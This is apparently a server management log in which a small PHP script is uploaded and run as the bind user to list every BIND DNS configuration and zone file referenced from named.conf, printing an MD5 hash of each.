MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:50:32: Establishing a connection
2026-04-25 18:50:32: 

PUT: /tmp/pkp530827

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:50:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp530827; rm /tmp/pkp530827'

2026-04-25 18:50:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
